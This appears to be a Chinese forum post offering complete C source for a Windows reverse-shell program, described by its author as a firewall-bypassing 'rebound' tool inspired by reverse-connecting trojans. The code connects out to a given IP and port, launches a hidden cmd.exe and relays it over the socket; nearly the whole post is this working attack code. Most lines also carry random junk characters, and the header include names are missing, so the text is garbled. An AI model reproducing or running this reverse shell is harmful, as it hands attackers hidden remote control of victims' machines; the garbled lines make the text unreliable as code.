这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 qLkn a
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/* ============================== OQ&?^S`8',
Rebound port in Windows NT \ .HX7v
By wind,2006/7 <}S1ZEZcQ
===============================*/ B{'x2I#,
#include 5y07@x
#include YEF|SEon0
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#pragma comment(lib,"wsock32.lib") >[TB8
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void OutputShell(); >%jQw.
SOCKET sClient; d#yb($HAJ
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; MxMrLiqU6l
/ sI0{
void main(int argc,char **argv) B0Ql1x#x
{ C%8nr8po
WSADATA stWsaData; >5C|i-HX
int nRet; $
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SOCKADDR_IN stSaiClient,stSaiServer; `$j"nP F_
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if(argc != 3) JBa( O-T
{ 1<#J[$V
printf("Useage:\n\rRebound DestIP DestPort\n"); #~J)?JL
return; !yAg!V
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} 5 _X|U*+5
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WSAStartup(MAKEWORD(2,2),&stWsaData); d<mj=V@bd
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^c?2n
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stSaiClient.sin_family = AF_INET; (=:9pbP
stSaiClient.sin_port = htons(0); ax{+7 k
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;O=tSEe
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9Z}Y2:l'
{ .kWMr^ g
printf("Bind Socket Failed!\n"); IV$pA`|V
return; s)Bl1\Q
} K5-wuD1
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stSaiServer.sin_family = AF_INET; M&P?/Zi=L
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 4$Oakl*l
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); m89-rR:Kc
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :wiQ^ea
{ zbsdK
printf("Connect Error!"); 7{HJjH!zx
return; y.6D Z
} vto^[a6?
OutputShell(); >?iL_YTX
} "N'tmzifh
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void OutputShell() a4HUP*
{ H^ _[IkuA%
char szBuff[1024]; 4QbD DvRQ^
SECURITY_ATTRIBUTES stSecurityAttributes; ^Glmg}>q
OSVERSIONINFO stOsversionInfo; ?f!w:zp
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4B>N[#-0=
STARTUPINFO stStartupInfo; (.~#bl
char *szShell; bdh6ii
PROCESS_INFORMATION stProcessInformation; #rSm;'%,
unsigned long lBytesRead; QDCu
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _[ml<HW]
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^_FB .y%
stSecurityAttributes.lpSecurityDescriptor = 0; {+~}iF<%
stSecurityAttributes.bInheritHandle = TRUE; ;Z]i$Vi_r
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); w"Gci~]bXU
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ">='l9
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); G gmv(!
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HGqT"NJr
stStartupInfo.wShowWindow = SW_HIDE; YTH3t]
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stStartupInfo.hStdInput = hReadPipe; \9Nd"E[B
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &2-dZK
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GetVersionEx(&stOsversionInfo); ;&B;RUUnTO
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switch(stOsversionInfo.dwPlatformId) V8`o71p
{ -xg$qvK
case 1: 9
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szShell = "command.com"; J^tLK T B
break; )}QtK+Rq
default: x6Q,$B
szShell = "cmd.exe"; r;}%} /IX
break; LIfQh
} z~b5K\/1B
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); A1Tk6i<F1
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send(sClient,szMsg,77,0); nrqr p
while(1) F_>OpT
{ J3Ipk-'lx
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 64]_o/u5W4
if(lBytesRead) Wk1o H
{ V$U#'G>m
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); om6'%nXhn
send(sClient,szBuff,lBytesRead,0); A")F7F31c
} t[HfaW1W
else fBtTJ+51}
{ !S6zC >
lBytesRead=recv(sClient,szBuff,1024,0); xUT]6T0dB
if(lBytesRead<=0) break; hSQ*_#
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); S ]_iobWK
} 1/b5i8I2v
} )b^yAzL?
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return; {4B{~Qe;
}